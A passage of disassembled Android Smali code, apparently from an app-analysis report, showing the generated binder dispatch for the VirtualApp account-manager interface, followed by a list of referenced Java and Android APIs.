                              112invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              113move-result v0
                              114if-eqz v0, :cond_cb
                              116sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              118invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              119move-result-object v0
                              120check-cast v0, Landroid/accounts/Account;
                              121move-object v3, v0
                              122goto_a1:
                              123invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              124move-result-object v4
                              126invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              127move-result v0
                              128if-eqz v0, :cond_cd
                              129move v5, v8
                              130goto_ac:
                              131invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              132move-result v0
                              133if-eqz v0, :cond_b3
                              134move v6, v8
                              135cond_b3:
                              136invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              137move-result v0
                              138if-eqz v0, :cond_c2
                              140sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              142invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              143move-result-object v0
                              144check-cast v0, Landroid/os/Bundle;
                              145move-object v7, v0
                              146cond_c2: move-object v0, p0
                              148invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/server/IAccountManager$Stub;->getAuthToken(ILandroid/accounts/IAccountManagerResponse;Landroid/accounts/Account;Ljava/lang/String;ZZLandroid/os/Bundle;)V
                              150invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              151goto/16 :goto_a
                              152cond_cb: move-object v3, v7
                              153goto/16 :goto_a1
                              154cond_cd: move v5, v6
                              155goto/16 :goto_ac
                              156sswitch_cf:
                              157const-string v0, "com.lody.virtual.server.IAccountManager"
                              159invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              161invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              162move-result v1
                              164invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              165move-result v0
                              166if-eqz v0, :cond_f2
                              168sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              170invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              171move-result-object v0
                              172check-cast v0, Landroid/accounts/Account;
                              173goto_e6:
                              174invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              175move-result-object v2
                              177invoke-virtual {p0, v1, v0, v2}, Lcom/lody/virtual/server/IAccountManager$Stub;->setPassword(ILandroid/accounts/Account;Ljava/lang/String;)V
                              179invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              180goto/16 :goto_a
                              181cond_f2: move-object v0, v7
                              182goto/16 :goto_e6
                              183sswitch_f4:
                              184const-string v0, "com.lody.virtual.server.IAccountManager"
                              186invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              188invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              189move-result v1
                              191invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              192move-result v0
                              193if-eqz v0, :cond_11b
                              195sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              197invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              198move-result-object v0
                              199check-cast v0, Landroid/accounts/Account;
                              200goto_10b:
                              201invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              202move-result-object v2
                              204invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              205move-result-object v3
                              207invoke-virtual {p0, v1, v0, v2, v3}, Lcom/lody/virtual/server/IAccountManager$Stub;->setAuthToken(ILandroid/accounts/Account;Ljava/lang/String;Ljava/lang/String;)V
                              209invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              210goto/16 :goto_a
                              211cond_11b: move-object v0, v7
                              212goto/16 :goto_10b
                              213sswitch_11d:
                              214const-string v0, "com.lody.virtual.server.IAccountManager"
                              216invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              218invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              219move-result v1
                              221invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              222move-result v0
                              223if-eqz v0, :cond_144
                              225sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              227invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              228move-result-object v0
                              229check-cast v0, Landroid/accounts/Account;
                              230goto_134:
                              231invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              232move-result-object v2
                              234invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              235move-result-object v3
                              237invoke-virtual {p0, v1, v0, v2, v3}, Lcom/lody/virtual/server/IAccountManager$Stub;->setUserData(ILandroid/accounts/Account;Ljava/lang/String;Ljava/lang/String;)V
                              239invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              240goto/16 :goto_a
                              241cond_144: move-object v0, v7
                              242goto/16 :goto_134
                              243sswitch_146:
                              244const-string v0, "com.lody.virtual.server.IAccountManager"
                              246invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              248invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              249move-result v1
                              251invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              252move-result-object v0
                              254invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              255move-result-object v2
                              257invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              258move-result v0
                              259if-eqz v0, :cond_171
                              261sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              263invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              264move-result-object v0
                              265check-cast v0, Landroid/accounts/Account;
                              266goto_165:
                              267invoke-virtual {p2}, Landroid/os/Parcel;->createStringArray()[Ljava/lang/String;
                              268move-result-object v3
                              270invoke-virtual {p0, v1, v2, v0, v3}, Lcom/lody/virtual/server/IAccountManager$Stub;->hasFeatures(ILandroid/accounts/IAccountManagerResponse;Landroid/accounts/Account;[Ljava/lang/String;)V
                              272invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              273goto/16 :goto_a
                              274cond_171: move-object v0, v7
                              275goto/16 :goto_165
                              276sswitch_173:
                              277const-string v0, "com.lody.virtual.server.IAccountManager"
                              279invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              281invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              282move-result v1
                              284invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              285move-result-object v0
                              287invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              288move-result-object v2
                              290invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              291move-result v0
                              292if-eqz v0, :cond_1b6
                              294sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              296invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              297move-result-object v0
                              298check-cast v0, Landroid/accounts/Account;
                              299move-object v3, v0
                              300goto_193:
                              301invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              302move-result-object v4
                              304invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              305move-result v0
                              306if-eqz v0, :cond_1b8
                              307move v5, v8
                              308goto_19e:
                              309invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              310move-result v0
                              311if-eqz v0, :cond_1ba
                              313sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              315invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              316move-result-object v0
                              317check-cast v0, Landroid/os/Bundle;
                              318move-object v6, v0
                              319goto_1ad: move-object v0, p0
                              321invoke-virtual/range {v0 .. v6}, Lcom/lody/virtual/server/IAccountManager$Stub;->updateCredentials(ILandroid/accounts/IAccountManagerResponse;Landroid/accounts/Account;Ljava/lang/String;ZLandroid/os/Bundle;)V
                              323invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              324goto/16 :goto_a
                              325cond_1b6: move-object v3, v7
                              326goto/16 :goto_193
                              327cond_1b8: move v5, v6
                              328goto/16 :goto_19e
                              329cond_1ba: move-object v6, v7
                              330goto/16 :goto_1ad
                              331sswitch_1bc:
                              332const-string v0, "com.lody.virtual.server.IAccountManager"
                              334invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              336invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              337move-result v0
                              339invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              340move-result-object v1
                              342invoke-static {v1}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              343move-result-object v1
                              345invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              346move-result-object v2
                              348invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              349move-result v3
                              350if-eqz v3, :cond_1d8
                              351move v6, v8
                              352cond_1d8:
                              353invoke-virtual {p0, v0, v1, v2, v6}, Lcom/lody/virtual/server/IAccountManager$Stub;->editProperties(ILandroid/accounts/IAccountManagerResponse;Ljava/lang/String;Z)V
                              355invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              356goto/16 :goto_a
                              357sswitch_1e0:
                              358const-string v0, "com.lody.virtual.server.IAccountManager"
                              360invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              362invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              363move-result v0
                              365invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              366move-result-object v1
                              368invoke-static {v1}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              369move-result-object v1
                              371invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              372move-result-object v2
                              374invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              375move-result-object v3
                              377invoke-virtual {p0, v0, v1, v2, v3}, Lcom/lody/virtual/server/IAccountManager$Stub;->getAuthTokenLabel(ILandroid/accounts/IAccountManagerResponse;Ljava/lang/String;Ljava/lang/String;)V
                              379invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              380goto/16 :goto_a
                              381sswitch_201:
                              382const-string v0, "com.lody.virtual.server.IAccountManager"
                              384invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              386invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              387move-result v1
                              389invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              390move-result v0
                              391if-eqz v0, :cond_228
                              393sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              395invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              396move-result-object v0
                              397check-cast v0, Landroid/accounts/Account;
                              398goto_218:
                              399invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              400move-result-object v2
                              402invoke-virtual {p0, v1, v0, v2}, Lcom/lody/virtual/server/IAccountManager$Stub;->getUserData(ILandroid/accounts/Account;Ljava/lang/String;)Ljava/lang/String;
                              403move-result-object v0
                              405invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              407invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              408goto/16 :goto_a
                              409cond_228: move-object v0, v7
                              410goto/16 :goto_218
                              411sswitch_22a:
                              412const-string v0, "com.lody.virtual.server.IAccountManager"
                              414invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              416invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              417move-result v1
                              419invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              420move-result v0
                              421if-eqz v0, :cond_24d
                              423sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              425invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              426move-result-object v0
                              427check-cast v0, Landroid/accounts/Account;
                              428goto_241:
                              429invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->getPassword(ILandroid/accounts/Account;)Ljava/lang/String;
                              430move-result-object v0
                              432invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              434invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              435goto/16 :goto_a
                              436cond_24d: move-object v0, v7
                              437goto/16 :goto_241
                              438sswitch_24f:
                              439const-string v0, "com.lody.virtual.server.IAccountManager"
                              441invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              443invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              444move-result v1
                              446invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              447move-result-object v0
                              449invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              450move-result-object v2
                              452invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              453move-result v0
                              454if-eqz v0, :cond_28e
                              456sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              458invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              459move-result-object v0
                              460check-cast v0, Landroid/accounts/Account;
                              461move-object v3, v0
                              462goto_26f:
                              463invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              464move-result v0
                              465if-eqz v0, :cond_290
                              467sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              469invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              470move-result-object v0
                              471check-cast v0, Landroid/os/Bundle;
                              472move-object v4, v0
                              473goto_27e:
                              474invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              475move-result v0
                              476if-eqz v0, :cond_292
                              477move v5, v8
                              478goto_285: move-object v0, p0
                              480invoke-virtual/range {v0 .. v5}, Lcom/lody/virtual/server/IAccountManager$Stub;->confirmCredentials(ILandroid/accounts/IAccountManagerResponse;Landroid/accounts/Account;Landroid/os/Bundle;Z)V
                              482invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              483goto/16 :goto_a
                              484cond_28e: move-object v3, v7
                              485goto/16 :goto_26f
                              486cond_290: move-object v4, v7
                              487goto/16 :goto_27e
                              488cond_292: move v5, v6
                              489goto/16 :goto_285
                              490sswitch_294:
                              491const-string v0, "com.lody.virtual.server.IAccountManager"
                              493invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              495invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              496move-result v1
                              498invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              499move-result-object v0
                              501invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              502move-result-object v2
                              504invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              505move-result-object v3
                              507invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              508move-result-object v4
                              510invoke-virtual {p2}, Landroid/os/Parcel;->createStringArray()[Ljava/lang/String;
                              511move-result-object v5
                              513invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              514move-result v0
                              515if-eqz v0, :cond_2b8
                              516move v6, v8
                              517cond_2b8:
                              518invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              519move-result v0
                              520if-eqz v0, :cond_2c7
                              522sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              524invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              525move-result-object v0
                              526check-cast v0, Landroid/os/Bundle;
                              527move-object v7, v0
                              528cond_2c7: move-object v0, p0
                              530invoke-virtual/range {v0 .. v7}, Lcom/lody/virtual/server/IAccountManager$Stub;->addAccount(ILandroid/accounts/IAccountManagerResponse;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;ZLandroid/os/Bundle;)V
                              532invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              533goto/16 :goto_a
                              534sswitch_2d0:
                              535const-string v0, "com.lody.virtual.server.IAccountManager"
                              537invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              539invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              540move-result v2
                              542invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              543move-result v0
                              544if-eqz v0, :cond_309
                              546sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              548invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              549move-result-object v0
                              550check-cast v0, Landroid/accounts/Account;
                              551move-object v1, v0
                              552goto_2e8:
                              553invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              554move-result-object v3
                              556invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              557move-result v0
                              558if-eqz v0, :cond_30b
                              560sget-object v0, Landroid/os/Bundle;->CREATOR:Landroid/os/Parcelable$Creator;
                              562invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              563move-result-object v0
                              564check-cast v0, Landroid/os/Bundle;
                              565goto_2fa:
                              566invoke-virtual {p0, v2, v1, v3, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->addAccountExplicitly(ILandroid/accounts/Account;Ljava/lang/String;Landroid/os/Bundle;)Z
                              567move-result v0
                              569invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              570if-eqz v0, :cond_304
                              571move v6, v8
                              572cond_304:
                              573invoke-virtual {p3, v6}, Landroid/os/Parcel;->writeInt(I)V
                              574goto/16 :goto_a
                              575cond_309: move-object v1, v7
                              576goto/16 :goto_2e8
                              577cond_30b: move-object v0, v7
                              578goto/16 :goto_2fa
                              579sswitch_30d:
                              580const-string v0, "com.lody.virtual.server.IAccountManager"
                              582invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              584invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              585move-result v1
                              587invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              588move-result v0
                              589if-eqz v0, :cond_333
                              591sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              593invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              594move-result-object v0
                              595check-cast v0, Landroid/accounts/Account;
                              596goto_324:
                              597invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->removeAccountExplicitly(ILandroid/accounts/Account;)Z
                              598move-result v0
                              600invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              601if-eqz v0, :cond_32e
                              602move v6, v8
                              603cond_32e:
                              604invoke-virtual {p3, v6}, Landroid/os/Parcel;->writeInt(I)V
                              605goto/16 :goto_a
                              606cond_333: move-object v0, v7
                              607goto/16 :goto_324
                              608sswitch_335:
                              609const-string v0, "com.lody.virtual.server.IAccountManager"
                              611invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              613invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              614move-result v1
                              616invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              617move-result-object v0
                              619invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              620move-result-object v2
                              622invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              623move-result v0
                              624if-eqz v0, :cond_360
                              626sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              628invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              629move-result-object v0
                              630check-cast v0, Landroid/accounts/Account;
                              631goto_354:
                              632invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              633move-result-object v3
                              635invoke-virtual {p0, v1, v2, v0, v3}, Lcom/lody/virtual/server/IAccountManager$Stub;->renameAccount(ILandroid/accounts/IAccountManagerResponse;Landroid/accounts/Account;Ljava/lang/String;)V
                              637invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              638goto/16 :goto_a
                              639cond_360: move-object v0, v7
                              640goto/16 :goto_354
                              641sswitch_362:
                              642const-string v0, "com.lody.virtual.server.IAccountManager"
                              644invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              646invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              647move-result v1
                              649invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              650move-result-object v0
                              652invoke-static {v0}, Landroid/accounts/IAccountManagerResponse$Stub;->asInterface(Landroid/os/IBinder;)Landroid/accounts/IAccountManagerResponse;
                              653move-result-object v2
                              655invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              656move-result v0
                              657if-eqz v0, :cond_390
                              659sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              661invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              662move-result-object v0
                              663check-cast v0, Landroid/accounts/Account;
                              664goto_381:
                              665invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              666move-result v3
                              667if-eqz v3, :cond_388
                              668move v6, v8
                              669cond_388:
                              670invoke-virtual {p0, v1, v2, v0, v6}, Lcom/lody/virtual/server/IAccountManager$Stub;->removeAccount(ILandroid/accounts/IAccountManagerResponse;Landroid/accounts/Account;Z)V
                              672invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              673goto/16 :goto_a
                              674cond_390: move-object v0, v7
                              675goto/16 :goto_381
                              676sswitch_392:
                              677const-string v0, "com.lody.virtual.server.IAccountManager"
                              679invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              681invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              682move-result v1
                              684invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              685move-result v0
                              686if-eqz v0, :cond_3b1
                              688sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              690invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              691move-result-object v0
                              692check-cast v0, Landroid/accounts/Account;
                              693goto_3a9:
                              694invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->clearPassword(ILandroid/accounts/Account;)V
                              696invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              697goto/16 :goto_a
                              698cond_3b1: move-object v0, v7
                              699goto/16 :goto_3a9
                              700sswitch_3b3:
                              701const-string v0, "com.lody.virtual.server.IAccountManager"
                              703invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              705invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              706move-result v1
                              708invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              709move-result v0
                              710if-eqz v0, :cond_3d9
                              712sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              714invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              715move-result-object v0
                              716check-cast v0, Landroid/accounts/Account;
                              717goto_3ca:
                              718invoke-virtual {p0, v1, v0}, Lcom/lody/virtual/server/IAccountManager$Stub;->accountAuthenticated(ILandroid/accounts/Account;)Z
                              719move-result v0
                              721invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              722if-eqz v0, :cond_3d4
                              723move v6, v8
                              724cond_3d4:
                              725invoke-virtual {p3, v6}, Landroid/os/Parcel;->writeInt(I)V
                              726goto/16 :goto_a
                              727cond_3d9: move-object v0, v7
                              728goto/16 :goto_3ca
                              729sswitch_3db:
                              730const-string v0, "com.lody.virtual.server.IAccountManager"
                              732invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              734invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              735move-result v0
                              737invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              738move-result-object v1
                              740invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              741move-result-object v2
                              743invoke-virtual {p0, v0, v1, v2}, Lcom/lody/virtual/server/IAccountManager$Stub;->invalidateAuthToken(ILjava/lang/String;Ljava/lang/String;)V
                              745invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              746goto/16 :goto_a
                              747sswitch_3f4:
                              748const-string v0, "com.lody.virtual.server.IAccountManager"
                              750invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              752invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              753move-result v1
                              755invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              756move-result v0
                              757if-eqz v0, :cond_41b
                              759sget-object v0, Landroid/accounts/Account;->CREATOR:Landroid/os/Parcelable$Creator;
                              761invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              762move-result-object v0
                              763check-cast v0, Landroid/accounts/Account;
                              764goto_40b:
                              765invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              766move-result-object v2
                              768invoke-virtual {p0, v1, v0, v2}, Lcom/lody/virtual/server/IAccountManager$Stub;->peekAuthToken(ILandroid/accounts/Account;Ljava/lang/String;)Ljava/lang/String;
                              769move-result-object v0
                              771invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              773invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              774goto/16 :goto_a
                              775cond_41b: move-object v0, v7
                              776goto/16 :goto_40b
                              777nop
                              Cross References
                              APIs
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.list
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.list
                              • java.lang.String.contains
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.InputStream.available
                              • java.io.InputStream.available
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.optJSONObject
                              • org.json.JSONObject.optJSONObject
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.optString
                              • java.util.Locale.ENGLISH:Ljava/util/Locale
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • java.util.HashMap.put
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.optString
                              • java.util.Locale.ENGLISH:Ljava/util/Locale
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • java.util.HashMap.put
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
